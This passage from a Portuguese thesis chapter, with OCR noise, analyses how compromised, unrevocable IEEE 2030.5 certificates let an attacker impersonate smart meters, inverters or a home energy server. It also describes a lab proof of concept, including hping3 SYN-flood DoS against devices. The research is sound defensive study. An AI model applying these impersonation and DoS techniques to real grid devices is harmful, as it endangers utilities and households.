lists pode levar a inconsisténcia dessas listas nos varios dispositivos que compoem o sis-
tema. Também é preciso levar em conta que as black lists tendem a aumentar de tamanho
indefinidamente em contraste com a capacidade limitada de hardware dos dispositivos.
Uma vez que os certificados digitais nao possuem data de expiracao, ao ser incluido em
uma lista, ele nunca podera ser excluido. Consequentemente, o tamanho da lista tende
a aumentar indefinidamente, o que é inviavel para dispositivos que tipicamente possuem

hardware limitado.

A questao relativa ao ciclo de vida indefinido e a nao revogacgao dos certificados di-
gitais toma maiores proporc¢oes quando consideramos os certificados das MCAs e das
MICAs. Uma vez que elas sao capazes de emitirem novos certificados digitais — tanto
para dispositivos clientes, no caso das MICAS, quanto para outras autoridades emissoras
de certificados, no caso das MCAs — caso um terceiro seja capaz de comprometer os
certificados de tais entidades, ele serd capaz de emitir certificados arbitrarios para dis-
positivos maliciosos que serao considerados legitimos e passarao pelo crivo de validacao,

mesmo sendo provenientes de uma fonte ilegitima.

Sendo assim, uma possivel lacuna de seguranga pode ser identificada na Manufactu-
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ring PKI. Tal lacuna se refere ao problema do comprometimento dos certificados digitais
e a sua nao expiragao e nao revogacao. Por ser uma estrutura hierarquica, dependendo
do nivel da hierarquia que o certificado digital comprometido ocupa, os danos podem
tomar maiores proporcoes impactando toda a cadeia hierarquica. Portanto, o comprome-
timento de certificado digital ¢ uma grande preocupagao para a qual o padrao nao prevée

especificamente uma solugao.

Em suma, em um sistema IEEE 2030.5, exite a possibilidade dos seguintes compro-

metimentos de certificado digital:

e Comprometimento de certificado digital de MCA e MICA.
e Comprometimento de certificado digital de dispositivo que hospeda recursos.

e Comprometimento de certificado digital de dispositivo que solicita recursos.

A seguir, sao apresentados possiveis ataques e suas consequéncias no sistema IEEE 2030.5

tomando como base cada um desses tipos de comprometimento.

5.6.1 Comprometimento de certificado digital de MCA e MICA

As MCAs e MICASs, como o proprio padrao IEEE 2030.5-2018 prevé, podem ser operadas
por empresas privadas ou pelos proprios fabricantes de dispositivos IEEE 2030.5. Sendo
assim, elas poderao ter politicas de seguranca proprias, a depender da empresa fabricante,
para promover a guarda segura da chave privada que ira assinar os certificados digitais

por elas emitidos.

As MCAs emitem certificados somente para MICAs. Ja as MICAs emitem certificados
somente para dispositivos IEEE 2030.5. Um fornecedor de dispositivos IEEE 2030.5
pode terceirizar a guarda e a hospedagem da chave privada da MCA para uma empresa
CA comercial. A chave privada de uma MICA também pode ser terceirizada para uma
empresa CA comercial, mas, por emitir certificados digitais para produtos finais IEEE
2030.5, presume-se que ela iré ficar em posse do fabricante a fim de agilizar o processo de

producao dos certificados digitais em tempo de fabricacao dos dispositivos.

Partindo-se do pressuposto de que tanto a chave privada da MCA quanto da MICA de
um determinado fabricante encontram-se em posse do mesmo e sob suas politicas de segu-
ranca, um atacante pode explorar falhas a fim de comprometer os certificados digitais de

ambas. Falha no sistema, na rede do fabricante, no processo ou até mesmo falha humana
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Figura 5.5: Comprometimento da estrutura hierdrquica da Manufacturing PKI.

— no caso de engenharia social — podem ser exploradas por um atacante a fim de obter
éxito em seu ataque. Ou seja, operar uma CA nao é uma atividade fim dos fabricantes e,
por isso, eles talvez tenham menos condig¢oes técnicas para geri-las com seguranca. O mais
preocupante é que, mesmo que seja descoberta em tempo uma falha que comprometa um
certificado digital, nao ha nenhuma forma prevista pelo padrao para solucionar o possivel
comprometimento do certificado digital e suas possiveis consequéncias. Embora o uso de
black lists possa ser uma das solucoes, ha sérias desvantagens conforme anteriormente

elencado.

Um atacante de posse da chave privada associada a um certificado digital de uma
MICA pertencente a hierarquia da Manufacturing PKI, como por exemplo a MICA-3 da
Figura 5.5, pode emitir certificados digitais para diversos dispositivos maliciosos (e.g.,
Device Certificate 5 da Figura 5.5). Tais dispositivos podem ser comercializados e in-
tegrados a uma rede IEEE 2030.5 sem maiores problemas uma vez que sao dotados de
certificado digital proveniente de uma MICA pertencente & hierarquia de uma Manufac-
turing PKI. Sendo assim, ao integrarem a rede, tais dispositivos comecam a executar a
atividade maliciosa. Tal atividade pode variar desde envio de informacoes falsas até a

execucao de comandos que venham a gerar falhas no sistema.

A Figura 5.6 apresenta um exemplo da agao de um dispositivo malicioso com certifi-
cado digital comprometido (Device Certificate 5) proveniente de uma MICA comprome-
tida (MICA-3). O dispositivo malicioso, ao ser adquirido e conectado a rede IEEE 2030.5,

pode comegar a disponibilizar recursos na rede a fim de se comunicar com os demais dis-
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Figura 5.6: Dispositivo malicioso integrado a rede IEEE 2030.5

positivos e/ou pode fazer uso de recursos que sao disponibilizados por outros dispositivos.
Por apresentar um certificado digital IEEE 2030.5 assinado por uma MICA “legitima”,
os demais dispositivos irao confiar em tal certificado e consequentemente passarao a se
comunicar com o dispositivo malicioso. Com isso, por exemplo, o dispositivo malici-
oso pode forjar valores de cobrancas tarifarias excessivamente baixas dentro do recurso
TariffProfile de forma a incentivar o aumento no consumo de energia elétrica ocasionando,
assim, uma sobrecarga na rede elétrica. Ele também pode alterar parametros dentro do
recurso EndDeviceControl de forma a instruir o acionamento de um inversor inteligente

no momento que ele deveria estar desligado gerando, assim, uma falha no sistema.

A gravidade da situacdo aumenta com o comprometimento de um certificado digital
de uma MCA, pois essa ocupa um nivel mais alto na hierarquia. Caso ocorra o compro-
metimento do certificado digital de uma MCA, o atacante pode emitir certificados digitais
para outras MICAs que serao consideradas legitimas pois sao assinadas por uma MCA
“legitima”, no entanto, comprometida, e esta, por sua vez, emite certificados digitais para

dispositivos.

Mesmo sendo descoberto o comprometimento do certificado digital, seja ele de uma
MCA ou MICA, nao ha nenhuma solucao prevista no padrao para que tanto eles quanto
os certificados digitais que eles passem a emitir sejam declarados comprometidos e nao

mais confiaveis.
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5.6.2 Comprometimento de certificado digital de dispositivo que
hospeda recursos

O padrao IEEE 2030.5-2018 delega aos fabricantes a responsabilidade de protecao dos
certificados digitais instalados nos dispositivos IEEE 2030.5. Ou seja, nao ha uma norma-
tizacao de melhores praticas para a protecao e seguranca dos certificados digitais. Sendo
assim, cada fabricante pode instituir tecnologia propria ou de terceiros para assegurar tal

protecao.

Um dispositivo que hospeda recursos torna-se o ponto central de comunicacao de uma
rede IEEE 2030.5, pois todos os demais dispositivos se comunicam com ele a fim de consu-
mir seus recursos. Conforme visto anteriormente, ao dispositivo que consome 0s recursos
(dispositivo solicitante) pode ou nao ser atribuido certificado digital e, caso seja, pode
ser até mesmo auto-assinado. Ja dispositivo que hospeda recursos deve obrigatoriamente
fazer uso de certificado digital, nao sendo permitido o uso de certificado auto-assinado.
Sendo assim, h& uma maior preocupacao em garantir a autenticidade do dispositivo que
hospeda os recursos para que os dispositivos solicitantes saibam que estao se comunicando

com uma fonte legitima.

No entanto, por falhas de projetos serem possiveis e por tecnologias tornarem-se de-
fasadas frente a evolugao tecnologica, o certificado digital de um dispositivo que hospeda
recursos é passivel de comprometimento. Mesmo descobertas em tempo as possiveis falhas
que exponham vulnerabilidades relativas a seguranca dos certificados digitais, a aplicacao
de correcoes a tais falhas nao garante que elas nao ja tenham sido anteriormente explora-
das e que os certificados digitais tenham sido comprometidos. Caso um atacante venha a
ter a posse da chave privada associada ao certificado digital de um dispositivo que hospeda

recursos, ele pode vir a causar sérios danos a rede.

Um atacante presente na rede IEEE 2030.5 e de posse da chave privada associada ao
certificado digital de um dispositivo que hospeda recursos pode utilizar tal certificado di-
gital para forjar ser um dispositivo legitimo e, com isso, falsificar informagoes e comandos.
Por exemplo, ele pode forjar ser um medidor elétrico inteligente que, ao ser consultado
por meio do recurso MeterReading, fornece valores das medi¢oes adulterados de forma a
promover uma falsa sensa¢ao de baixo consumo o que pode induzir um possivel aumento
de carga levando a uma sobrecarga na rede. Ele também pode alterar parametros para
enviar comandos a serem executados pelos dispositivos inteligentes levando a ocasionar
falhas no sistema. Por exemplo, ele pode aceitar varias reservas de fluxo de energia por

meio do recurso FlowReservationRequest alterando parametros de forma que todos ativem
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Figura 5.7: Rede residencial com ITEEE 2030.5

o fluxo de energia ao mesmo tempo o que levaria a rede a ter um pico de sobrecarga.

Uma vez que o certificado digital utilizado pelo atacante ¢ legitimo, todas informagoes
e comandos por ele emitidos ao se passar por um dispositivo que fornece recursos também
serao considerados legitimos e, a depender de como é configurado e interligado o sistema,
as falha podem se propagar. No caso da falha relacionada com o reserva de fluxo, o
atacante pode nao repassar para a concessionaria tal necessidade. Assim, com o inicio do
consumo do fluxo, a sobrecarga por ele imposta pode alcancar a rede da concessionaria

desencadeando uma reacao em cadeia.

A Figura 5.7 apresenta um exemplo de rede residencial. Nela, é possivel notar dispo-
sitivos inteligentes (e.g., medidores inteligentes, inversores inteligentes, veiculos elétricos),
um dispositivo que hospeda recursos (HEMS) e demais dispositivos que podem estar
presentes em um ambiente residencial (e.g., computadores, notebooks, smartphones, ta-
blets). Todos sao interligados por um roteador que pode fornecer tanto conexao cabeada
quanto a sem fio. Os dispositivos inteligentes comunicam-se com o HEMS que, por sua
vez, comunica-se com os servidores da concessionaria enviando informagoes dos disposi-
tivos inteligentes e também recebendo comandos e repassando aos mesmos. O proprie-
tario da residéncia também pode acessar os dados e controlar os dispositivos inteligentes
via interface direta do HEMS (e.g., painel touch screen) ou através de um computador,
smartphone, tablet ou qualquer outro meio que possibilite a comunicacao com a interface
do HEMS.
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Um atacante partindo inicialmente de um ponto presente na rede residencial que
tenha acesso aos demais dispositivos — como, por exemplo, de posse e controlando um
computador (mesmo que remotamente) sem que o proprietario saiba — pode perpetrar
ataques de forma a explorar falhas no HEMS a fim de comprometer o certificado digital.
Por exemplo, caso a rede residencial tenha um computador comprometido, a partir dele
o atacante pode iniciar uma exploracao de vulnerabilidade do HEMS a fim de tomar
posse da chave privada associada ao certificado digital nele presente. Obtendo sucesso
na exploracao de vulnerabilidade e de posse da chave privada associada ao certificado
digital do HEMS, o atacante configura o computador que controla de forma a ser um
provedor de recursos na rede fazendo uso das mesmas credenciais presentes no HEMS.
Ao hospedar e anunciar recursos na rede fazendo uso do computador comprometido e do
certificado digital do HEMS, o atacante pode realizar uma ataque Denial of Service (DoS)
no HEMS de forma que os demais dispositivos solicitantes (consumidores de recursos) na
rede nao consigam mais se comunicar com ele. Ao encontrar os recursos anunciados pelo
computador do qual o atacante tem posse, os dispositivos solicitantes iniciam o processo
de autenticagao. Como o computador possui o mesmo certificado digital do HEMS e
os dispositivos solicitantes confiam nesse certificado digital, os dispositivos solicitantes
realizam a autenticacao e validacao do certificado digital sem maiores problemas. A partir
desse momento, o computador comeca a se comunicar com os dispositivos solicitantes

recebendo informacoes e enviando comandos para os mesmos conforme apresentado na
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Figura 5.8: Rede residencial com dispositivo que hospeda recursos comprometido
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A depender da politica de seguranca e da forma como é feito o processo de auten-
ticacao e comunicacao do HEMS com os servidores da concessionaria, o atacante pode
configurar o computador para assumir de vez todas as funcoes do HEMS. Com isso, ele
pode iniciar o processo de autenticagao e comunicagao com a concessionaria para enviar
informagoes falsas para a mesma. Por exemplo, caso uma concessionaria venha a ser
interligada a rede, ela pode utilizar o recurso MeterReading para consultar valores de
medicao do consumo de determinada commodity para fins de composicao da fatura. No
entanto, devido & adulteracao desses valores feita pelo atacante, a concessionaria podera

ter prejuizos financeiros.

Mesmo que seja identificado o comprometimento do certificado digital e seja aplicado
algum método que impega seu uso, esse impedimento sera aplicado apenas de forma local.
Por exemplo, caso uma concessionéria aplique métodos para impedir o uso de determi-
nado certificado digital, ao se extrapolar as fronteiras de controle dessa concessionaria, o
certificado digital torna-se novamente valido e pronto para o uso. A falta de uma verifi-
cagao a ser feita em tempo de uso dos certificados digitais e de forma global impede que
a informacao de nao legitimidade e nao validade dos mesmos seja propagada para além

das fronteiras de controle de determinado circulo.

5.6.3 Comprometimento de certificado digital de dispositivo que
solicita recursos

O dispositivo que solicita recursos pode ter qualquer tipo de certificado digital. A de-
pender da politica de seguranca implementada no sistema ao qual eles integram, pode
haver tanto a coexisténcia dos diversos tipos de certificados digitais quanto apenas que
determinado tipo seja permitido. Por exemplo, em um sistema que possua um dispositivo
que hospede recursos e faga uso de certificado digital IEEE 2030.5, pode ser definido que
apenas dispositivos solicitantes com certificado digital IEEE 2030.5 tém autorizagao para
acessar os recursos. Sendo assim, os dispositivos solicitantes que fagam uso dos demais

tipos de certificados nao irao ter acesso aos recursos.

Uma vez que ambos dispositivos (solicitante e hospedeiro de recursos) satisfacam a
politica estabelecida para comunicacgao, o dispositivo solicitante verifica se h&d um registro
(EndDevice) prévio com suas informagoes no dispositivo que hospeda os recursos. Caso
nao exista, é solicitada a criacao de uma instancia EndDevice no dispositivo que hospeda
recursos. Com a aprovacao da criacao da instancia, o dispositivo solicitante pode comecar

a fazer uso dos recursos ao qual tem autorizagao de acesso.
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Um tipo de ataque que pode ocorrer a partir do comprometimento do certificado
digital de um dispositivo que solicita recursos é relacionado ao envio de informacgoes
falsas. Um atacante pode se passar por um dispositivo que solicita recursos e enviar
informacoes falsas ao dispositivo que hospeda os recursos. Esse, por sua vez, pode repassar
tais informagoes falsas a depender de como esta interligado todo o sistema. Com isso,
decisoes e comandos equivocados podem ser executados vindo a ocasionar falhas. Por
exemplo, um atacante pode se passar por um medidor inteligente de gas e por meio do
recurso MirrorUsagePoint enviar falsas medigoes para o dispositivo provedor de recursos
ao qual ele esté registrado. Com isso, a concessionéria, ao consultar o dispositivo provedor
de recursos, realizaré a leitura dessas falsas medigoes o que ocasionara prejuizo financeiro

para a mesma.

Por exemplo, a partir da rede residencial apresentada na Figura 5.7 e partindo do
pressuposto de que o acesso ao HEMS por dispositivos solicitantes s6 pode ser feito com
o uso de certificados digitais IEEE 2030.5, qualquer dispositivo solicitante que acesse
a rede e nao tenha certificado digital IEEE 2030.5 nao podera fazer uso dos recursos
hospedados no HEMS. Caso um atacante esteja presente nessa rede — por exemplo, de
posse e controlando o computador do proprietario da residéncia — o mesmo pode iniciar
uma exploracao de vulnerabilidade nos dispositivos solicitantes, como, por exemplo, em
um inversor inteligente, visando comprometer e tomar posse da chave privada associada ao
certificado digital IEEE 2030.5 presente nele. Levando-se em conta que falhas de projeto,
sistema e até mesmo falhas humanas — engenharia social — podem ocorrer, hé sempre

a possibilidade de sucesso do atacante.

O atacante, de posse do certificado digital e explorando a natureza restrita de hardware
dos dispositivos solicitantes, pode realizar um ataque DoS no inversor inteligente de forma
a nao permitir que ele se comunique com o HEMS. Logo em seguida, o atacante pode
iniciar uma comunicacao com o HEMS apresentando o certificado digital do inversor
inteligente se passando por um falso inversor. O HEMS por entender que tal certificado
digital é valido e também, por ja ter uma instancia EndDevice referente a tal certificado
digital, o autentica e passa a conceder acesso aos recursos aos quais o certificado digital tem
autorizagao. Ele também passa a receber e a registrar as informagoes falsas provenientes
desse falso inversor. Com isso, decisoes e comandos equivocados podem ser executados
de forma a causar falha no sistema. Caso o HEMS esteja interligado aos servidores
da concessionaria, ele repassa tais informacoes falsas aos mesmos de forma a propagar

possiveis falhas. A Figura 5.9 apresenta esse possivel ataque no ambiente residencial.
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Figura 5.9: Rede residencial com dispositivo solicitante comprometido

Sendo assim, vistos esses trés tipos de comprometimento de certificado digital IEEE
2030.5 e suas possiveis consequéncias para o sistema, nota-se claramente que nao ha meios

e solugoes previstos no padrao para sanar tal problema de forma definitiva.

Mesmo que seja descoberto o comprometimento, nao ha nenhuma forma prevista pelo
padrao que consiga uma abrangéncia geral para a inutilizagao de tal certificado digital
comprometido. Solugoes tais como black lists podem ser implementadas, no entanto seu
escopo se restringe ao ambiente local, ou seja, a solugao nao abrange areas fora dos limites
de tal ambiente. Além disso, a gravidade do problema aumenta ainda mais quando se

trata de comprometimento de certificados digitais de CAs que compdem a hierarquia da

Manufacturing PKI.

Diferentemente dos trabalhos de seguranca apresentados no Capitulo 2, esse trabalho,
além de promover uma analise de seguranca abordando de maneira de direta e especifica
uma lacuna de seguranga, também apresentou possiveis ataques que foram demonstrados
de maneira pratica juntamente com suas consequéncias. Com isso, a lacuna de seguranca
ganha uma melhor visualizagao, uma vez que ela é associada aos prejuizos e problemas

do mundo real.
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5.7 Prova de Conceito

Essa secao tem por finalidade apresentar, de forma pratica, a lacuna de seguranga presente
na estrutura da Manufacturing PKI do IEEE 2030.5-2018. Para isso, inicialmente é
apresentada a topologia de teste, juntamente com os cenarios, e o pré-requisito necessario

para a conduc¢ao da prova de conceito.

5.7.1 Topologia de teste

A topologia de teste é baseada na comunicagao entre um dispositivo cliente (que consome
recursos) e um dispositivo servidor (que disponibiliza recursos) presentes em uma resi-
déncia. Ambos sao dotados de certificados digitais para realizagao de comunicagao segura
utilizando TLS. Além dos dispositivos cliente e servidor, em uma residéncia também ha

diversos outros dispositivos locais conectados a rede (e.g., computador).

cou'mou: * |

HEMS
(servidor)
i) &l
-
Computador Medidor
(dispositivo local) Inteligente
(cliente)

Figura 5.10: Cenario de teste

A Figura 5.10 apresenta a topologia de teste a ser utilizada na prova de conceito. Ela
¢ composta de um HEMS representando o dispositivo servidor, um medidor inteligente
representando o dispositivo cliente e um computador representando um dispositivo local
na rede residencial. Todos os dispositivos estao interligados de forma que sao capazes de

comunicar-se uns com os outros.

A partir dessa topologia serao construidos 3 tipos de cenérios:

e Cenério 1 — comunicagao sem comprometimento de certificado digital;
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e Cenario 2 — comprometimento do certificado digital do dispositivo servidor; e

e Cenério 3 — comprometimento do certificado digital do dispositivo cliente.

Por fim, seré apresentado um cenario adicional que ird abordar o comprometimento

de certificado digital envolvendo ambiente composto por DER.

5.7.2 Pré-requisito

Na comunicagao segura do IEEE 2030.5-2018, dispositivos clientes podem ser dotados de
certificados digitais auto-assinados. Por outro lado, dispositivos servidores s6 podem fazer
uso de certificados digitais provenientes de autoridade certificadora. Portanto, é exigida
a emissao de um certificado digital advindo de uma autoridade certificadora para que o
mesmo possa ser usado pelo dispositivo servidor. Para isso, é necessaria a criagao de uma

autoridade certificadora.

A autoridade certificadora requerida foi concebida por meio de uma maquina virtual
com sistema Linux onde foi instalado a aplicagao “XCA”. Tal aplicacao é uma interface
grafica que permite a criagao e o gerenciamento de certificados digitais. A partir da apli-
cagao XCA, foi criada a chave privada de uma autoridade certificadora raiz denominada

“CSEP _Root_Danilo” e também a chave privada “server-key”.

A autoridade certificadora, por ser uma autoridade raiz, possui certificado digital
auto-assinado associado a sua chave privada. Ja o certificado digital associado a chave
privada “server-key” é assinado pela autoridade certificadora raiz “CSEP _Root Danilo”.
O certificado “server” sera utilizado no dispositivo servidor. A Figura 5.11-(A) apresenta
a interface grifica do XCA juntamente com as chaves privadas relacionadas a autori-
dade certificadora raiz e ao certificado digital “server”. J& a Figura 5.11-(B) apresenta o

certificado digital emitido para ambas as chaves privadas.

5.7.3 Dispositivos da topologia de teste

Cada dispositivo que compoe a topologia de teste é representado por uma méquina virtual
com sistema operacional Linux. Cada um possui sua especificidade em relagao ao seu papel
no sistema. Por exemplo, o HEMS deve conter recursos e disponibiliza-los por meio de
uma interface RESTful para serem consumidos pelo medidor inteligente. Ja o medidor
inteligente deve fazer requisigbes de modo a consumir os recursos disponibilizado pelo
HEMS.
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X Certificate and Key management X
File Import Extra Help
Private Keys | Certificate signing requests = Certificates Templates = Revocation lists
Internal name v Type Size Use Password
- . X New Key
©  CSEP Root Danilo EC 256 bit 1 Common
0 server-key EC 256 bit 1 Common Export
Import
Import PFX (PKCS#12)
Show Details
Delete
4 »
Database: /home/ca-root/databaseCA.xdb Search
(A) Chaves privadas
X Certificate and Key management - o &
File Import Extra Help
Private Keys  Certificate signing requests | Certificates = Templates = Revocation lists
Internal name ~ commonName CA —
- Ag® CSEP_Root_Danilo CSEP_Root_Danilo +f Yes New Certificate
Import
Show Details
Delete
Import PKCS#12
Import PKCS#7
Plain View
4 »
Database: /home/ca-root/databaseCA.xdb Search

(B) Certificados digitais

Figura 5.11: Criacao de autoridade certificadora raiz e certificado digital do servidor
usando XCA
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5.7.3.1 Medidor inteligente

O medidor inteligente é representado por uma maquina virtual Linux de nome “client”.
Com relagao a fungao a ser desempenhada, em uma pesquisa realizada, foi encontrada
uma implementagao referente ao dispositivo cliente IEEE 2030.5 feita pela Eletric Power
Research Institute (EPRI) [20]. O codigo da implementacao esta disponibilizado no site
GitHub [64]. No entanto, ao ser compilado, o c6digo apresenta um erro referente a versao
do OpenSSL. Um fork dessa implementagao, também presente no site GitHub (catch-
twenty-two /ieee-2030.5-client) [36], contém a alteragdo necesséaria para permitir o uso do
OpenSSL na versao mais recente. Esse tltimo cédigo, ao ser compilado, nao apresentou

problemas e foi utilizado para representar o cliente.

Contudo, nem todas as funcionalidades estao implementadas para teste. Funciona-
lidades basicas tais como registro de dispositivo, fungao time, meter e metering mirror
estao implementadas. Na propria pagina do repositério no GitHub, é disponibilizado um
guia para a compilacao e execugao do codigo. Dentre os arquivos presentes no repositorio,
estao a chave privada (pti_dev.pem) e o certificado digital (pti_dev.x509) a serem uti-
lizados pelo cliente na comunicacao segura com o dispositivo servidor. Na pasta “certs”,
encontra-se o certificado digital “csep root.pem” pertencente & autoridade certificadora
raiz que emitiu o certificado “pti_dev.x509”. Essa pasta armazena os certificados digitais

das autoridades certificadoras nas quais o dispositivo cliente confia.

Tendo em vista que a comunicacao do cliente com o servidor envolve requisicoes e
respostas a uma interface RESTful, a ferramenta CURL — presente no Linux — também
pode ser usada para simular a funcionalidade de um cliente. Uma vez que o CURL
também permite a utilizacao de certificados digitais, ele pode ser utilizado para realizar
a comunicagao segura enviando requisi¢coes com diferentes métodos HT'TP e recebendo

respostas a essas requisicoes.

5.7.3.2 HEMS

O HEMS é representado por uma méaquina virtual Linux — de nome “server” — que
utiliza o Python 3.8.5 e o micro-framework Flask [57]. Escrito em Python, o micro-

framework Flask permite a criagao de APIs RESTful de modo simples e agil.

O Flask facilita o trabalho por utilizar rotas e métodos HT'TP a fim de executar uma
funcao. Por exemplo, para configurar uma funcao ‘“ola()’’ que retorna uma mensagem,

é necessario que o Flask reconheca a funcao que ird retornar a mensagem e também
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1 @app.route("/inicio", methods=["GET"])
2 def ola():
3 return "<h1>0la Flask!</h1>"

Figura 5.12: Exemplo de uso do @app.route()

deve saber que ela devera ser executada quando determinada rota e método HTTP for
requisitado. Para isso, é utilizada a diretiva ‘‘@app.route()’’. Tal diretiva contém a
funcao a ser executada, o método HTTP e a rota a qual, ao ser requisitada, executa a

funcao.

O trecho de codigo apresentado na Figura 5.12 demonstra a utilizagao da diretiva.
No codigo, caso a rota ‘‘/inicio’’ seja requisitada, juntamente com o método ‘‘GET”’,
a fungao ““ola()’’ sera executada retornando a mensagem. O Flask também permite a
configuragao de certificado digital para comunicagao segura e a selecao da porta na qual

o0 servico seréd executado.

Sendo assim, utilizando o Flask, foi implementado o protétipo de um HEMS (servidor
de recursos). O prototipo, além de fazer uso da diretiva @app.route(), implementa
a funcionalidade de autenticacdo mitua na qual o certificado digital apresentado pelo
dispositivo cliente é verificado de forma que somente seja permitida a comunicagao caso
ele seja valido. Para isso, é criado um contexto SSL no qual sao passados a chave privada
e o certificado digital usados pelo dispositivo servidor e também o certificado digital da

autoridade certificadora que ira validar o certificado apresentado pelo dispositivo cliente.

Nem todos os recursos foram implementados no HEMS. Recursos mais basicos, tais
como FEndDevice, Register, Tariff Profile e Time, foram implementados de maneira simpli-
ficada. Isso foi feito, pois o objetivo é demonstrar a autenticagdao e a comunicacao segura

entre cliente e servidor usando o TLS para consumir os recursos.

5.7.3.3 Computador local

O computador local presente na residencia é representado por uma maquina virtual Li-
nux — de nome “server-devil” — onde encontra-se instalado o Flask e a ferramenta
HPINGS [58]. Tal ferramenta pode ser utilizada na execuc¢ao de um tipo de ataque DoS
denominado TCP SYN Flooding Attack [19)].

Basicamente, o ataque TCP SYN Flooding Attack consiste no envio de intmeros
pacotes TCP solicitando conexao ao servidor com a flag SYN ativa sem fechar as conexoes

anteriores. Isso sobrecarrega o servidor fazendo com que ele pare de responder as demais
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solicitacoes.

Ataques que envolvam a utilizagdo e alocagao excessiva de hardware possuem uma
eficiéncia elevada quando realizado sobre dispositivos que possuem restri¢oes de hardware
— que é o caso da maioria dos dispositivos IoT. Sendo assim, a alocagao excessiva de

hardware faz com que o dispositivo nao consiga responder as solicitagoes.

Vale ressaltar que ja existem meios e contramedidas para se evitar o ataque TCP SYN
Flooding. A utilizagdo do mesmo nessa prova de conceito possui mero carater exempli-
ficativo de uma forma de ataque. Na pratica, um atacante poderia usar qualquer outro

meio de ataque que fosse viavel a fim de causar uma negagao de servico.

5.7.4 Cenario 1 — sem comprometimento de certificado digital

Inicialmente a comunicacao entre o medidor inteligente e o HEMS ocorre para verificar
quais conjuntos de fungoes sao disponibilizados pelo HEMS. Isso é feito consultando o
recurso DeviceCapability (dcap) do HEMS. Para que isso ocorra, é necessario que haja

previamente uma autenticacao mitua entre eles usando o TLS.

Vale lembrar que alguns recursos nao necessitam de comunicag¢ao segura, no entanto,

para melhor entendimento, toda comunicacao entre dispositivos seré considerada segura
e faz uso do TLS.

A Figura 5.13 apresenta essa comunicagao entre o medidor inteligente (parte superior
da Figura) e o HEMS (parte inferior da Figura). Nela, ¢ possivel verificar que o HEMS
possui a interface RESTful ativa na porta 8443 acessada por meio do HT'TPS. O medidor
inteligente faz uma consulta ao recurso “dcap” utilizando a ferramenta CURL. Em um
primeiro momento, ocorre a autenticacao mutua de ambos por meio do TLS. Havendo
sucesso na autenticagao, o HEMS envia ao medidor inteligente o recurso solicitado. Caso
a autenticacao mutua nao seja bem sucedida, a comunicacao é interrompida. Lembrando
que, conforme previsto no padrao, a verificacao matua de ambos certificados provenientes
de uma Manufacturing PKI é feita por meio da verificacao da cadeia de assinaturas até

a autoridade certificadora raiz.

Em seguida, ao verificar que o HEMS possui o conjunto de fungoes EndDevicelList,
o medidor inteligente verifica se ele esta registrado no HEMS. Nessa verificagao ¢ utili-
zada a implementacao presente no GitHub. A utilizacao dessa implementacao também
serviu para comprovar que o HEMS (servidor de recursos) estd em conformidade com

o previsto no padrao. Para que o medidor inteligente confie no certificado digital do
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client@client:~/IEEE-2030.5-Client$ curl -v —-cert pti_dev.crt —-key pti_dev.pem --cacert
SEP_Root_Danilo.crt -k -H "Accept: application/sep+xml; level=-S1" https://10.211.55.6:8443/dc

p
Trying 10.211.55.6:8443...

TCP_NODELAY set

Connected to 10.211.55.6 (10.211.55.6) port 8443 (#0)

ALPN, offering h2

ALPN, offering http/1.1

successfully set certificate verify locations:
CAfile: ../CSEP_Root_Danilo.crt

CApath: /etc/ssl/certs

TLSv1.3 (OUT), TLS handshake, Certificate (11):
TLSv1.3 (OUT), TLS handshake, CERT verify (15):
TLSv1.3 (OUT), TLS handshake, Finished (20):

SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
ALPN, server did not agree to a protocol

Server certificate:

subject: [NONE]

start date: Feb 11 17:01:00 2021 GMT

expire date: Dec 31 23:59:59 9999 GMT

issuer: 0=CSEP; CN=CSEP_Root_Danilo; serialNumber=1
[SSL certificate verify ok. |

GET /dcap HTTP/1.1

Host: 10.211.55.6:8443

User—Agent: curl/7.68.0
Accept: application/sep+xml; level=-S1

TLSv1.3 (OUT), TLS handshake, Client hello (1):

TLSv1.3 (IN), TLS handshake, Server hello (2):

TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):

TLSv1.3 (IN), TLS handshake, Request CERT (13):

TLSv1.3 (IN), TLS handshake, Certificate (11):

TLSv1.3 (IN), TLS handshake, CERT verify (15):

TLSv1.3 (IN), TLS handshake, Finished (20):

TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
3
3

TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
old SSL session ID is stale, removing

Mark bundle as not supporting multiuse

HTTP/1.1 200 OK

Content-Type: application/sep+xml

Content-Length: 510

Server: Werkzeug/1.0.1 Python/3.8.5

Date: Thu, 25 Feb 2021 19:00:35 GMT

DeviceCapability xmlns="http://ieee.org/2030.5" href="/dcap">
<DemandResponseProgramListLink all="2" href="/dr"/>
<DERProgramListLink all="2" href="/derp"/>
<MessagingProgramListLink all="2" href="/msg"/>
<ResponseSetListLink all="2" href="/rsps"/>
<TariffProfileListLink all="1" href="/tp"/>
<TimeLink href="/tm"/>
<UsagePointListLink all="1" href="/upt"/>
<EndDevicelListLink all="1" href="/edev"/>
<MirrorUsagePointListLink all="@" href="/mup"/>
<SelfDeviceLink href="/sdev"/>

/DeviceCapability>

Connection #0 to host 10.211.55.6 left intact
lient@client:~/IEEE-2030.5-Client$ ||

erver@server:~/server$ python3 resources.py
* Serving Flask app "resources" (lazy loading)
% Environment: production

WARNING: This is a development server. Do not use it in a production deployment.

* Debug mode: off
* Running on https://0.0.0.0:8443/ (Press CTRL+C to quit)

10.211.55.7 - - [25/Feb/2021 19:00:35] "GET /dcap HTTP/1.1" 200 -

../C

Figura 5.13: Comunicacao para verificacao do recurso DeviceCapability
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HEMS, foi adicionado na pasta “certs” o certificado digital da autoridade certificadora
“CSEP _Root_Danilo.pem”.

Previamente, foram inseridos no HEMS o SFDI e o PIN referentes ao medidor inteli-
gente. Vale lembrar que o uso do PIN para verificacao do registro é opcional. No caso, a
implementagao faz uso do PIN e o mesmo possui o valor “1111115”. Portanto ao percorrer
o fluxo para verificagao do registro, caso haja correspondéncia entre as informagoes, o
medidor inteligente confirma que esta registrado no HEMS. Para a execugao dessa verifi-
cacao de registro, o medidor inteligente executa o seguinte comando:

./build/client_test enpOs2 pti_dev.x509 certs https://10.211.55.6:8443/dcap register

Onde:

e ./build/client test — representa o comando para execucao das funcionalidades.
e enp0s2 — representa a interface de rede.
e pti_dev.xb09 — representa o certificado digital do medidor inteligente.

e certs — representa o diretério onde se encontram os certificados as autoridades cer-

tificadoras confiaveis.

e https://10.211.55.6:8443 /dcap — representa o endereco do HEMS para acesso ao

recurso DeviceCapability.

